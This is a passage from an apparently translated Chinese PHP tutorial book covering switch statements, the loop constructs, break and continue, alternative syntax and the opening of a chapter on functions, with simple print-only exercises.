    switchcase 进行松散比较。松散比较意味着它不会检查类型。从switch表达式评估的值应该等于匹配的 case 值,而无需检查类型。比如说,switch表达式评估为数字 1 可以匹配或等于 case 值,如字符串"1",浮点数 1.00 或布尔值 true。

这里是一个switch语句的示例:

<?php
switch ($fruit) {
    case "cherry":
        echo "The fruit is cherry.";
        break;
    case "banana":
        echo "The fruit is banana.";
        break;
    case "avocado":
        echo "The fruit is avocado.";
        break;
    default:
        echo "The fruit cannot be identified.";
        break;
}

前面的switch语句执行$fruit表达式,这是一个包含值的变量,因此应该将值与 case 值匹配,并执行相应的 case 语句,直到出现break;语句。

我们在使用switch语句和break;时需要小心。就像以下示例一样,PHP 将继续执行没有break的语句:

<?php
switch ($n) {
    case 0:
        echo "the number is 0 ";
    case 1:
        echo "the number is 1 ";
    case 2:
        echo "the number is 2 ";
}
?>

对于 $n0,前面的示例将打印 "the number is 0 the number is 1 the number is 2"。对于 $n1,它将输出 "the number is 1 the number is 2",因此我们需要在每个情况的末尾添加一个 break; 语句。我们将在下一节讨论 break; 语句。

switch 语句中,给定的条件被评估以匹配结果值与每个情况的值。

此外,同一块语句中的多个情况可以写成如下形式:

<?php
switch ($n) {
    case 0: 
    case 1: 
    case 2:
        echo "the number is less than 3.";
        break;
    case 3: 
        echo "the number is 3.";
        break;
}
?>

使用 default 情况,我们可以扩展前面的示例如下:

<?php
switch ($n) {
    case 0: 
    case 1: 
    case 2:
        echo "the number is less then 3.";
        break;
     case 3: 
        echo "the number equals to 3.";
        break;
     default:
        echo "the number is not within 0 to 3.";
}
?>

注意

switch 情况支持控制结构的替代语法。更多信息,请查看packt.live/2M0IMli

现在,我们将检测数据类型,并在练习中使用 switch 情况来打印数据类型。

练习 3.4:创建一个实现 Switch Case 的脚本

在以下练习中,我们将创建一个脚本,该脚本将使用内置的 gettype() 函数在 switch 测试情况中获取变量的类型,并为不同的数据类型打印自定义消息。

对于 integerdouble 数据类型,我们将打印 "The data type is Number."。对于 booleanstringarray 类型,分别打印 "The data type is Boolean","The data type is String" 和 "The data type is Array"。对于未知数据类型和其他数据类型,打印 "The data type is unknown"。

  1. 创建一个名为 test-datatype.php 的 PHP 文件。

  2. 声明 $data 变量如下:

    <?php
    $data = 2.50;
    

    在这里,我们声明了一个包含 double 类型数值的变量。我们还可以添加其他类型的数据。

  3. 因此,为了获取 $data 变量的类型并匹配适当的情况,让我们插入以下 switch 结构:

    <?php
    $data = 2.50;
    switch (gettype($data)) {
            case 'integer':
            case 'double':
                    echo "The data type is Number.";
                    break;
            case 'boolean':
                    echo "The data type is Boolean.";
                    break;
            case 'string':
                    echo "The data type is String.";
                    break;
            case 'array':
                    echo "The data type is Array.";
                    break;
            default:
                    echo "The data type unknown.";
                    break;
    }
    

    在这里,我们使用了内置的 gettype() 函数,它返回 $data 的类型,例如 "boolean","integer","double","string","array","object","resource","NULL",以及 "unknown type"。

    我们已经知道,为了对多个情况进行相同的语句执行,我们可以合并这些情况。对于由 switch 表达式返回的 "integer" 和 "double" 字符串,由于要求对两者打印相同的信息,因为类型是数字,所以我们把这两个情况放在一起。另外,对于其他数据类型,我们已经处理了匹配的 case 语句,其余的类型,甚至是未知类型,都由 default 情况处理。

  4. 使用以下命令从终端或控制台运行 PHP 文件:

    php test-datatype.php
    

    脚本为不同的数据类型打印不同的消息:

    图 3.10:switch 情况输出

    图 3.10:switch 情况输出

  5. 使用不同类型的数据调整 $data 的值,并重新运行脚本以获得不同的输出。

循环

循环是一块只写一次但执行多次的语句块。循环体内的代码或循环体执行有限次数,这取决于是否满足某些条件,或者它们可能是无限的!

在本章中,我们将讨论forforeachwhiledo…while循环及其结构和示例。

有界循环与无界循环

一个有界循环有一个循环迭代限制,因此它执行到达到那个边界。为了将其限制在有限的迭代次数内,迭代次数在循环条件或循环语句中很容易看到,并且语言结构确保它不会超出那个范围。

再次强调,一个无界循环会一直迭代,直到满足某个条件,并且可以从循环内部控制条件。有界循环也称为计数控制循环,因为您可以使用语言结构来控制迭代次数;同样,无界循环是条件控制循环

在 PHP 中,whiledo…whilefor都是无界循环,无论循环控制部分是入口控制还是出口控制,它们几乎都是相同的。我们将查看这些循环技术的示例及其在不同用例中的应用。

while循环

while循环是最简单的循环结构之一。其语法如下:

while (expression)
    statement
// to accommodate multiple statements, 
// enclose them by the curly braces
while (expression) {
    statement 1
    statement 2
    …    
}

在这里,while (expression) {…}是检查在expression条件中执行循环可能性的控制结构,后跟一个单条语句,或者可以由一对花括号括起来的多条语句:

图 3.11:while 循环图解

图 3.11:while 循环图解

while循环中,条件表达式被评估为布尔值。为了执行第一条语句,表达式应该评估为true。然后,它再次检查条件以进行下一次迭代。如果条件产生false,则循环终止,不会进一步执行。

例如,以下循环将永远不会执行:

while (false)
    echo "This will never be printed.";

再次,以下循环可能会永远执行:

while (true)
    echo "This will be printed. " . PHP_EOL;

在这里,PHP_EOL包含行结束字符,并在字符串末尾使用,以便在新的行上打印下一个字符串。

您可以使用给定的条件设置循环迭代的次数,如下面的循环,它将正好执行七次:

$count = 1;
while ($count <= 7) {
    echo "This will be printed. " . PHP_EOL;
    $count++;
}

在这里,$count从值1开始,通过$count++语句增加 1。循环将打印 7 行,在第 8 次迭代时,$count将包含 8,因此($count <= 7)条件变为false,打印终止。因此,通过count控制,我们可以将while循环限制在执行特定次数。

注意

条件是在循环开始时评估的;这就是为什么while循环是入口控制循环。

练习 3.5:使用 while 循环打印数字 1 到 10

在这个练习中,我们将简单地通过while循环迭代以打印数字 1 到 10,并将应用一个条件表达式来检查数字是否在 1 到 10 的范围内,因为我们将会每次增加数字 1:

  1. 创建一个名为print-numbers-while.php的 PHP 文件。

  2. 声明一个$number变量并将其初始化为1

  3. 插入一个while循环以打印数字 1 到 10:

    <?php
    $number = 1;
    while ($number <= 10) {
            echo $number . " ";
            $number++;
    }
    

    在这里,我们将数字初始化为1存储在$number变量中。通过($number <= 10)条件表达式,我们可以保证如果数字大于 10,循环将不会执行或打印。

    最后,我们通过增加$number++;变量来产生下一个数字。在这里,我们使用空字符串" "作为数字分隔符。

    因此,布尔表达式允许我们编写带有限制或边界的测试用例。此外,循环技术可以在这些限制或边界内执行一系列语句。

  4. 使用以下命令从终端或控制台运行 PHP 文件:

    php print-numbers-while.php
    

    脚本打印 1 到 10:

    图 3.12:while 循环输出

    图 3.12:while 循环输出

  5. 使用不同的条件表达式调整脚本并重新运行,以查看新的输出。

do…while 循环

while循环相比,do…while循环在表达式评估结束时进行。这意味着循环将先执行一次,在条件评估之前执行循环内的代码。

这种退出控制的循环的语法如下:

do statement
    while (expression);
// to accommodate multiple statements, 
// enclose them by the curly braces
do {
    statement 1
    statement 2
    …     
} while (expression);

这里,do {…} while (expression)是控制结构,表达式是条件表达式,它给出一个布尔结果:

图 3.13:do…while 循环图

图 3.13:do…while 循环图

例如,以下循环将只执行一次,无论条件评估结果为false与否:

do 
    echo "This will be printed once. " . PHP_EOL;
while (false);

在这里,do...while循环的第一次迭代将在表达式评估结束时执行。如果条件为true,则进行第二次迭代;否则,如果为false,则防止进一步的循环。

因此,我们可以根据一个是入口控制循环而另一个是退出控制循环的事实来使用whiledo...while循环。

你可以通过一个结束条件来查看循环可以迭代多少次。以下循环将正好执行七次:

$count = 1;
do {
    echo "This will be printed. " . PHP_EOL;
    $count++;
} while ($count <= 7);

这里,$count的初始值为1,通过$count++语句每次增加 1。循环将打印 7 行,在第 7 次迭代时,$count将包含 8,因此($count <= 7)条件变为false,因此进一步的打印被终止。所以,通过count控制,我们可以将do…while循环限制为执行一定次数。

练习 3.6:将 while 循环转换为 do...while 循环

在这个练习中,我们将调整之前的练习,将while循环替换为do…while循环,并重新运行语句以查看输出:

  1. 打开print-numbers-while.php文件,将内容复制到一个名为print-numbers-do-while.php的新文件中。

  2. while循环替换为do...while

    <?php
    $number = 1;
    do {
        echo $number . " ";
        $number++;
    } while ($number <= 10);
    

    在这里,我们将之前的while循环替换为do...while控制结构。

    与之前的循环技术不同的是,条件测试被放置在结构的末尾,因为do…while是一个退出控制的循环。循环至少应该执行一次,无论条件如何。如果结束表达式评估为true,我们继续进行下一次迭代。所有循环技术都使用一个条件表达式来检查下一次迭代的资格,以确保循环是有限的。

  3. 使用以下命令从终端或控制台运行 PHP 文件:

    php print-numbers-do-while.php
    

    该脚本使用替换的do…while循环打印 1 到 10:

    图 3.14:do…while 循环输出

    图 3.14:do…while 循环输出

  4. 使用不同的条件表达式调整脚本,并重新运行脚本以查看新的输出。

for 循环

在前面的章节中,我们讨论了whiledo…while循环结构,并看到了它们根据入口和退出条件进行迭代的方式。我们还研究了使用从01开始的计数器或数字,并在每次迭代中使用后增量++运算符对其进行递增,并检查计数器或数字是否不超过限制。在实际应用中,whiledo…while循环使用在循环之前声明的循环步值,并在循环内部递增或递减步值。这个循环步值用于检查循环条件的限制。因此,我们需要安排我们控制whiledo…while循环迭代的方式。

为了观察这种常见的实践,可以使用for循环,其结构本身提供了初始化循环步变量、检查步值的条件以及步增减语句的表达式。

让我们检查for循环的语法:

for (expression1; expression2; expression3)
    statement
// to accommodate multiple statements, 
// enclose them by the curly braces
for (expression1; expression2; expression3) {
    statement1;
    statement2;
    …
}

这里,for (expression1; expression2; expression3) {…}是控制结构,expression2是作为布尔值评估的条件表达式。

第一个表达式expression1是一个无条件表达式,它在循环的起始处被评估,并被视为循环初始化语句。在每次迭代之前,expression2被评估为一个布尔表达式,结果为true。循环体在每个循环中执行。expression3在每个迭代结束时被评估。

注意

空的expression2意味着循环将无限运行。

for 循环的工作原理可以表示如下:

图 3.15:for 循环图

图 3.15:for 循环图

以下示例打印数字 1 到 10:

for ($index = 1; $index <= 10; $index++) {
    echo "$index \n";
}

前面的for循环执行 10 次,并打印 1 到 10。在这里,$index变量在第一个表达式中初始化为1。第二个表达式检查$index的值是否小于或等于 10,以便循环迭代限制为 10 次,并且$index++在每次迭代后将$index的值增加 1。

前面的例子类似于以下内容:

$index = 1;
for (;;) {
    if($index > 10) {
        break;
    }
    echo "$index \n";
    $index++;
}

您可以使用break语句终止循环执行,防止在块内进一步执行。

注意,一个空的for循环可以被认为是无限迭代:

for (;;) 
    statement

这相当于:

while (true)
    statement

练习 3.7:使用 for 循环打印星期

在这个练习中,我们将使用for循环遍历存储星期的数组,并打印这些天。我们将限制循环迭代,以确保循环不会超出数组中的元素:

  1. 创建一个名为print-days-for.php的 PHP 文件。

  2. 添加包含一周七天名称的$days数组,如下所示:

    <?php
    $days = ["Saturday", "Sunday", "Monday", "Tuesday", "Wednesday",   "Thursday", "Friday"];
    
  3. 添加一个包含三个表达式的for循环,如下所示:

    <?php
    $days = ["Saturday", "Sunday", "Monday", "Tuesday", "Wednesday",   "Thursday", "Friday"];
    $totalDays = count($days);
    for ($i = 0; $i < $totalDays; $i++) {
        echo $days[$i] . " ";
    }
    //outputs
    //Saturday Sunday Monday Tuesday Wednesday Thursday Friday
    

    在这里,$totalDays是存储天数计数的变量。迭代次数可以通过$i < $totalDays表达式来控制,因为$i0开始,这是数组的第一个索引,因此循环将正好执行$days数组中可用的元素(天数)的数量。每次迭代完成后,$i中的索引值通过$i++语句增加,以便我们可以访问数组中的下一个值。

  4. 使用以下命令从终端或控制台运行 PHP 文件:

    php print-days-for.php
    

    脚本从给定的数组中打印出七天的名称:

    图 3.16:for 循环输出

    图 3.16:for 循环输出

  5. 使用不同的循环表达式调整脚本并重新运行,以查看新的输出。

foreach 循环

到目前为止,我们已经看到了for循环如何利用循环步变量作为索引来访问数组,但这种方法对于需要使用索引或键作为有意义数据的关联数组迭代是不可行的。考虑一个包含个人信息数组的示例或对象,其中人的属性,如名字、姓氏、年龄、电子邮件等,已经存储在相同的属性名称作为键下,这样每个键定义了针对该索引存储的信息类型。

在这种情况下,为了遍历对象或数组,我们需要一个专门的循环结构——foreach循环。

使用foreach循环,PHP 支持通过隐式方式遍历数组或对象的所有元素

foreach循环的语法如下:

foreach (array_expression as $value)
    statement 

array_expression提供了一个要迭代的数组。在每次迭代中,当前元素的值分配给$value,并且数组指针增加一个。

foreach循环也可以写成以下形式:

foreach (array_expression as $key => $value)
    statement

在这种形式中,每次迭代时,当前元素值被分配给$value变量,其对应的键被分配给$key变量。

foreach循环中,而不是布尔评估条件,数组的大小控制了循环执行的次数。

练习 3.8:使用foreach循环打印星期

在这个练习中,我们将通过for循环遍历一周中天名的数组,并打印这些天。我们将限制循环迭代,以确保循环不会超出数组中的元素:

  1. 打开print-days-for.php PHP 脚本,并将内容复制到一个名为print-days-foreach.php的新文件中。

  2. for循环替换为foreach循环:

    <?php
    $days = ["Saturday", "Sunday", "Monday", "Tuesday", "Wednesday",   "Thursday", "Friday"];
    foreach ($days as $day) {
        echo $day . " ";
    }
    //outputs
    //Saturday Sunday Monday Tuesday Wednesday Thursday Friday
    

    在前面的例子中,数组的大小控制了foreach循环执行的次数。因此,对于数组中的每个元素,从第一个开始,循环控制语句将元素值赋给一个变量,并迭代执行封闭块中的语句。

  3. 使用以下命令从终端或控制台运行 PHP 文件:

    php print-days-foreach.php
    

    该脚本打印出给定数组中的七天名称:

图 3.17:循环输出

图 3.17:foreach循环输出

嵌套循环

随着程序复杂性的增加,你可能会发现自己处于一个单循环无法实现程序目标的位置。在这种情况下,我们可以使用循环中的循环;换句话说,嵌套循环。

要实现嵌套,可以在另一个循环的封闭范围内使用一个循环。在外部循环的第一轮迭代中,内部循环执行以运行给定的迭代次数。再次,在外部循环的下一轮迭代中,内部循环被触发并完成所有迭代。可以将内部循环结构视为封闭语句中的另一个语句。显然,我们可以使用breakcontinue(将在下一节讨论)语句来中断迭代的流程。

例如,for循环可以用作嵌套形式,如下所示:

$basket = [
                ["Mango", "Apple", "Banana", "Orange"],
                ["Burger", "Fries", "Sandwich", "Brownie", "Soda"]
        ];
for ($i = 0; $i < count($basket); $i++) {
        for ($j = 0; $j < count($basket [$i]); $j++) {
                echo $basket[$i][$j]  . PHP_EOL;
        }
}

这将输出以下内容:

Mango
Apple
Banana
Orange
Burger
Fries
Sandwich
Brownie
Soda

在这里,你可以看到使用了两个for循环来遍历二维数组,我们使用了$i$j来生成索引以访问它们的对应值。

我们可以使用两个foreach循环代替for循环,如下所示:

$basketItems = [
               ["Mango", "Apple", "Banana", "Orange"],
               ["Burger", "Fries", "Sandwich", "Brownie", "Soda"]
               ];
foreach ($basketItems as $foodItems) {
        foreach ($foodItems as $food) {
                echo $food . PHP_EOL;
        }
}

这将输出以下内容:

Mango
Apple
Banana
Orange
Burger
Fries
Sandwich
Brownie
Soda

注意到foreach循环消除了使用索引来访问数组元素的需要,因此foreach循环对于迭代此类数组是有用的。

练习 3.9:使用嵌套foreach循环

在这个练习中,我们将练习循环嵌套,并展示内部和外部循环是如何工作的。我们将通过一个不同职业的数组进行循环,并打印每个职业。通过使用条件,如果职业等于"Teacher",则我们将遍历另一个科目数组,并打印出这些科目。

我们可以使内部循环根据一个先决条件迭代;即,当职业是教师时。我们将打印科目名称的内部循环放在一个 if 控制结构中:

  1. 创建一个名为 print-professions-subjects.php 的 PHP 脚本。

  2. 按如下方式在数组中声明职业:

    <?php
    $professions = ["Doctor", "Teacher", "Programmer", "Lawyer", "Athlete"];
    
  3. 按如下方式在数组中声明科目:

    <?php
    $professions = ["Doctor", "Teacher", "Programmer", "Lawyer", "Athlete"];
    $subjects =  ["Mathematics", "Computer Programming", "Business English",   "Graph Theory"];
    
  4. 添加一个 foreach 循环来遍历 $professions 数组,如下所示:

    <?php
    $professions = ["Doctor", "Teacher", "Programmer", "Lawyer", "Athlete"];
    $subjects =  ["Mathematics", "Computer Programming", "Business English",   "Graph Theory"];
    foreach ($professions as $profession) {
            echo "The Profession is $profession. " . PHP_EOL;
    }
    

    输出如下:

    The Profession is Doctor.
    The Profession is Teacher.
    The Profession is Programmer.
    The Profession is Lawyer.
    The Profession is Athlete.
    
  5. 添加以下内部 foreach 循环以打印职业为 teacher 时的科目,如下所示:

    <?php
    $professions = ["Doctor", "Teacher", "Programmer", "Lawyer", "Athlete"];
    $subjects =  ["Mathematics", "Computer Programming", "Business English",   "Graph Theory"];
    foreach ($professions as $profession) {
            echo "The Profession is $profession. " . PHP_EOL;
            if ($profession === 'Teacher') {
                    foreach ($subjects as $name) {
                            echo " $name " . PHP_EOL;
                    }
            }
    }
    

    输出如下:

    The Profession is Doctor.
    The Profession is Teacher.
     Mathematics
     Computer Programming
     Business English
     Graph Theory
    The Profession is Programmer.
    The Profession is Lawyer.
    The Profession is Athlete.
    

    这里,我们有两个不同的数组。professions 数组包含职业名称,而 $subjects 数组包含要打印的科目名称,如果职业名称与字符串 "teacher" 匹配。我们使用 foreach 循环遍历 $professions 数组。第一个 foreach 循环应被视为外循环。

    外循环打印职业名称,然后测试条件,该条件与职业名称匹配 Teacher。如果职业匹配 Teacher,则执行内部 foreach 循环。内部循环遍历 $subjects 数组以打印科目的名称。

  6. 使用以下命令从终端或控制台运行 PHP 文件:

    php print-professions-subjects.php
    

    脚本从给定的数组中打印职业名称,如果职业是 Teacher,则从给定的 $subjects 数组中打印科目的名称:

    图 3.18:嵌套 foreach 循环输出

    图 3.18:嵌套 foreach 循环输出

    如您所见,内部循环是基于先决条件触发的,这意味着我们在这里使用了循环和分支技术。我们将在下一步使用 for 循环来实现这两者。

  7. 修改 print-professions-subjects.php 并将内部循环替换如下:

    <?php
    $professions = ["Doctor", "Teacher", "Programmer", "Lawyer", "Athlete"];
    $subjects =  ["Mathematics", "Computer Programming", "Business English",   "Graph Theory"];
    $totalSubjects = sizeof($subjects);
    foreach ($professions as $profession) {
            echo "The Profession is $profession. " . PHP_EOL;
            for ($i = 0; $profession === 'Teacher' && $i < $totalSubjects;   $i++) {
                    echo " ". $subjects[$i] . PHP_EOL;
            }
    }
    

    输出如下:

    The Profession is Doctor.
    The Profession is Teacher.
     Mathematics
     Computer Programming
     Business English
     Graph Theory
    The Profession is Programmer.
    The Profession is Lawyer.
    The Profession is Athlete.
    

    在这里,for 循环中的第二个表达式支持条件表达式,因此我们将表达式组合成两个条件:一个检查职业是否为 Teacher,另一个检查数组索引是否不超过 $subjects 数组的大小。sizeof() 函数用于确定数组中的元素数量。

  8. 使用以下命令从终端或控制台运行 PHP 文件:

    php print-professions-subjects.php
    

    脚本打印的内容与 步骤 6 中的相同。

类似地,我们可以使用任何循环技术来实现内部循环,例如 whiledo…while,然后重新运行 PHP 文件以查看输出。

break 语句

到目前为止,我们已经查看了一些循环及其实现。然而,你可能会遇到需要中断循环的情况。例如,除了循环条件表达式外,我们可能还希望根据循环内检查的条件来终止循环的迭代。在这种情况下,break 非常有用,可以终止最内层的循环,为这种循环结构提供另一种控制。

可以使用 break; 语句从循环中提前退出。 break 立即终止任何正在运行的循环的执行。

break 语句支持一个可选的参数,用于确定要跳出多少个嵌套结构。默认参数为 1,可以立即跳出最近的嵌套循环结构。要跳出多个嵌套循环结构,我们需要提供一个数字参数;例如,break 2

如以下示例所示:

break;
//or
break n;

查看以下示例,它中断了两个嵌套循环:

for(;;){
     for(;;){
           break 2;
     }
}

两个 for 循环都应该无限循环,要退出这两个循环,我们需要提供一个 break 参数为 2。我们可以使用一个 if 控制结构来保护这个 break 语句,这样我们就不在没有条件的情况下退出循环。

练习 3.10:使用 break 语句终止循环的执行

我们将使用之前的 while 循环练习来检查数字是否等于 8,然后打印 结束循环执行,然后使用 break 语句结束循环:

  1. print-numbers-while.php 文件的内容复制过来,并创建一个 PHP 文件名,print-numbers-break.php,然后使用复制的内容。

  2. while 循环体中添加一个条件 break 语句,如下所示:

    <?php
    $number = 1;
    while ($number <= 10) {
            echo $number . " ";
            if ($number === 8) {
                    echo "ends the execution of loop.";
                    break;
            }
            $number++;
    }
    //outputs
    // 1 2 3 4 5 6 7 8 ends the execution of loop.
    

    在这里,我们使用条件表达式检查 $number 是否等于 8,然后打印给定的消息并终止执行。break 语句被放置在循环内部,这意味着当执行 break; 表达式时,无论循环条件是否表示循环还有两次迭代,都可以终止循环。

  3. 使用以下命令从终端或控制台运行 PHP 文件:

    php print-numbers-break.php
    

    打印 8 后,循环打印 结束循环执行 消息,并使用 break 终止后续迭代:

![图 3.19:break 输出]

![img/C14196_03_19.jpg]

图 3.19:break 输出

continue 语句

在任何循环中,我们可能希望根据某个条件跳过任何特定的迭代。例如,打印从 1 到 10 的数字时,我们可能想要跳过奇数并只打印偶数。要继续下一个迭代并跳过嵌套结构中的其余执行,可以使用 continue 语句。

continue 语句支持一个可选的数字参数,类似于 break 语句,它指定应该跳过多少层嵌套循环到当前迭代(s)的末尾。默认值 1 跳到当前迭代的末尾并继续其余迭代。

练习 3.11:使用 continue 跳过列表中的项目

在之前的循环示例中,我们创建了一个脚本,用于打印从 1 到 10 的数字。在这个练习中,我们将使用之前的循环技术练习来检查一个数字是否等于 8,然后跳过打印该数字,并继续打印其余的数字:

  1. 创建一个名为print-numbers-continue.php的 PHP 文件。

  2. 添加以下for循环以打印从 1 到 10 的数字:

    <?php
    for ($i = 1; $i <= 10; ++$i) {
        print "$i ";
    }
    //outputs
    //1 2 3 4 5 6 7 8 9 10
    
  3. 如果数字等于8,添加以下continue语句:

    <?php
    for ($i = 1; $i <= 10; ++$i) {
        if ($i == 8) {
            continue;
        }
        print "$i ";
    }
    //outputs
    //1 2 3 4 5 6 7 9 10
    

    在这里,我们使用条件表达式检查$i是否等于8,然后执行continue;语句。因此,从这个特定点开始,迭代将跳过剩余的执行并进入下一次迭代。因此,可以跳过打印数字 8 的print命令,并继续打印 9 和 10。

  4. 使用以下命令从终端或控制台运行 PHP 文件:

    php print-numbers-continue.php
    

    打印7之后,循环将跳过打印8并继续打印剩余的数字:

图 3.20:break 脚本输出

图 3.20:break 脚本输出

注意

要退出循环,一个常见的做法是使用评估结果为false的条件语句,否则继续迭代。breakcontinue语句可以用作从循环中退出的特殊方式或跳过当前执行的剩余部分。

替代控制语法

PHP 支持编写控制结构的替代方式。根据替代语法,我们将用冒号替换初始花括号,用结构结束语句(如endifendswitchendforendwhile)替换结束花括号。

例如,if...else变为以下形式:

if (expression):
     statement1
     statement2
     …
endif;

或者,使用结构结束语句的if…elseif…else语法如下:

if (expression1):
     statement1
     statement2
     …
elseif (expression2):
     statement3
     …
else:
     statement4
     …
endif;

while循环变为以下形式:

while (expression): 
     statement 
endwhile; 

对于for循环也是一样:

for (expr1; expr2; expr3):
     statement1
     statement2
     …
endfor;

因此,取决于我们选择哪种语法。替代语法支持 PHP 早期版本的用户。本书通常在整个书中遵循标准语法。

注意

PHP 的替代语法可以在以下链接中找到:packt.live/2M0IMli

使用系统变量

可以使用$argv系统变量获取命令行参数。我们将使用$argv[1]$argv[2]来获取第二个和第三个参数。

注意

$argv[0]在这种情况下是脚本名称。

可以如下传递命令行参数:

<?php
$varA = $argv[1] ?? 5;
$varB = $argv[2] ?? 5;

在这里,使用了??空合并运算符,以便如果$argv[1]$argv[2]不存在或为NULL,则可以将默认数字 5 分配给$varA$varB限制变量。

活动三.1:创建一个按导演打印电影的脚本

在这个活动中,我们将练习嵌套循环并应用条件来限制内外循环的迭代次数。我们将有一个多维关联数组,其中导演的名字作为键来保存电影名称的数组。因此,关联数组的每个元素都包含一个导演的名字作为键和电影名称数组作为值。我们将引入一个外循环来遍历关联数组元素并打印用作键的导演名字。另一个内循环应该遍历该导演的电影名称数组——即键。参数作为循环迭代步骤,以保持第一个参数定义了导演名字应该打印的次数,第二个参数定义了从给定导演中应该打印多少个电影名称。

多维数组包含五位导演。

要执行的步骤如下:

  1. 创建 activity-movies.php 脚本文件,它接受两个参数,都是数值:第一个参数将用于导演的数量,第二个参数将用于电影的数量。

  2. 添加一个包含五位导演名单的嵌套数组,每个条目包含五个电影标题的列表。

  3. 通过运行脚本,按照输入参数打印导演名单和电影标题。

  4. 如果没有传递输入参数,则考虑两个参数的默认值均为 5。

  5. 这是运行 php activity-movies.php 3 2 脚本的示例输出:

    Steven Spielberg's movies:
      > The Post
      > Bridge of Spies
    Christopher Nolan's movies:
      > Dunkirk
      > Quay
    Martin Scorsese's movies:
      > The Wolf of Wall Street
      > Hugo
    

    注意

    本活动的解决方案可以在第 506 页找到。

控制结构的技巧

在处理控制结构时,以下是一些最佳实践:

  • 如果需要多个 ifelseif 语句,您可以考虑用 switch 语句替换,因为 switch 语句更快。

  • 避免深度嵌套的控制结构,如 if { if { if { ... }}}for(;;) { for(;;){ for (;;){ … } } },因为深度嵌套将一个条件与另一个条件绑定,当我们需要修改绑定条件时,我们可能会在代码维护上花费大量时间。

  • 将重复的代码放在不同的分支下是一个常见的错误,因此这些分支变得相同,因此请考虑重构代码;每个分支的目标应该是不同的。

  • foreach 是关联数组或对象的更好选择。

  • 学习识别您是否需要边界或无边界循环。

  • 使用由条件控制的未绑定循环时要小心,以免无限运行。

摘要

控制语句是计算机编程的核心。它们都是关于评估条件以执行特定代码块一次或循环。为了构建布尔表达式,我们使用了布尔常量、变量中的布尔值和逻辑运算符。此外,逻辑和关系比较可以应用于用作代码分支先决条件的表达式。

为了处理复杂场景,我们学习了如何轻松地组合嵌套的控制结构,以及我们如何有条件地跳出分支或跳过特定的循环迭代。我们还学习了如何避免深层嵌套以减少未来代码维护所需的时间。我们需要仔细决定哪种分支或循环技术适合特定场景,并且我们需要确保我们的循环不会无限运行。

最后,当我们到达本章的结尾时,我们应该能够编写更小的脚本以执行涉及条件评估、数组或对象迭代、应用条件以终止执行流程、对数据进行比较以分类或归类项目、执行重复性任务等操作。

在下一章中,我们将把一段代码作为一个名为函数的单元来分组,以便在需要执行该代码块的地方重用这些函数。例如,我们可能需要在代码的多个地方验证与变量关联的数据类型。而不是多次编写数据类型验证代码,我们可以将验证代码移入一个函数中,并在需要该数据类型验证时使用或调用该函数。因此,下一章将向您介绍如何重用代码以及如何以单元的形式编写代码。

第四章:4. 函数

概述

到本章结束时,你将能够使用内置函数;创建用户定义的函数;并编写匿名函数。

简介

在编写软件时,我们经常遇到需要在构建的应用程序的不同地方执行特定任务的情况。如果不加思考,很容易养成反复重写相同代码的习惯,这会导致代码重复,并在错误出现时更难调试。然而,与其他所有编程语言一样,PHP 允许你以所谓的函数的形式结构化可重用代码,这有时也被称为方法。这两个术语将在本章中交替使用。

将函数视为一组可重用的指令或语句。一旦编写,你可以随意多次调用它。函数将本应不可分割地一起保留的逻辑捆绑在一起。

在函数内部分组和隔离一组指令带来了一系列好处。最明显的好处是可重用性:一旦你编写了函数,你永远不需要再次重写或重新发明这组特定的指令。函数还提高了一致性——这意味着每次你调用函数时,你可以确信将应用相同的指令集。

另一个不那么明显的优点是,你的代码变得更加易于阅读,尤其是当你给函数命名,使其清晰表明它们的功能时。

函数的另一个优点是它将局部变量包含在其作用域内,因此它们不会污染全局作用域。我们将在稍后更详细地讨论作用域。

这里是一个简单函数的示例:

// simplest callable is a function
function foo()
{
}

这里有一个编写来计算传递给此函数的值的平均值的函数:

// function that calculates the average of values that you pass to it
function average()
{
    $count = func_num_args();
    $total = 0;
    foreach (func_get_args() as $number) {
        $total += $number;
    }
    return $total / $count;
}

注意,这不是生产就绪的代码。该函数不检查其输入的任何内容,并且如果不传递任何参数,不会防止错误条件,例如除以零。function-average.php 文件包含了一个更详细的相同函数示例,你可以参考 GitHub 仓库。

函数是可调用的。然而,请注意,并非所有可调用项都是函数。函数可以调用其他函数,函数可以将函数传递给其他函数以供它们调用,并且函数可以创建函数。困惑了吗?继续阅读并查看示例,你会发现这并不复杂。

什么是可调用项?

简而言之,可调用项是你代码的一部分,你可以“调用”。当我们说你可以“调用”某物时,我们的意思是你可以告诉程序执行它。

可调用项可以在其后写上括号,例如,functionName()

如前所述,函数是一种可调用类型,因此可以调用函数(即,你可以告诉程序执行它)。

例如,考虑以下用户定义的函数:

function howManyTimesDidWeTellYou(int $numberOfTimes): string
{
    return "You told me $numberOfTimes times";
}

目前不必担心函数的细节——我们稍后会深入探讨。这个函数可以在你的代码的任何地方定义,但让我们假设它定义在一个名为 how-many-times-did-we-tell-you.php 的脚本中。

脚本的内容将如下所示:

<?php
declare(strict_types=1);
function howManyTimesDidWeTellYou(int $numberOfTimes): string
{
    return "You told me {$numberOfTimes} times";
}

这个函数接受一个参数,$numberOfTimes,它必须是 int(整数)类型,并且它返回一个字符串。int 类型提示和 string 返回类型是可选的。我们将在本章后面讨论参数和返回值。现在,function howManyTimesDidWeTellYou(int $numberOfTimes): string 只是函数声明:它定义了函数。脚本本身目前什么也不做。

为了使这个函数真正能做些什么,我们需要从我们的代码中调用它。在同一个脚本文件中继续并调用我们刚刚定义的函数是完全有效的,如下所示:

howManyTimesDidWeTellYou(1);

如果你打开一个终端并执行脚本,你将看不到任何输出。为什么?原因在于,虽然函数确实返回一个字符串,但它没有打印任何输出。要生成输出,你需要像以下这样 echo 函数的返回值:

echo howManyTimesDidWeTellYou(1);

现在如果你执行这个脚本,你将看到输出。

通过在脚本所在的目录中从命令行调用它来执行脚本。你可以简单地输入以下文本并按 Enter 键:

php how-many-times-did-we-tell-you.php 

输出如下:

You told me 1 times

你会立即发现这个输出的一个问题:它是语法错误的。如果我们传递一个负整数呢?那么,输出在逻辑上也会是错误的。我们的函数目前还没有准备好投入生产。

函数的更详细示例以及如何调用它可以在 how-many-times-did-we-tell-you.php 文件中找到。

注意,你可以在函数内部使用 echo 来打印文本。然而,这会使函数的可重用性降低,因为它会在被调用时立即生成输出。在某些情况下,你可能想要延迟输出。例如,你可能在输出之前收集和组合字符串,或者你可能想要将字符串存储在数据库中,而不想在这个阶段显示它。尽管在函数内部直接打印通常被认为是不良的做法,但你将在像 WordPress 这样的系统中看到很多这样的例子。在生成输出是最重要的任务的情况下,从函数中打印可能是方便的。

练习 4.1:使用内置函数

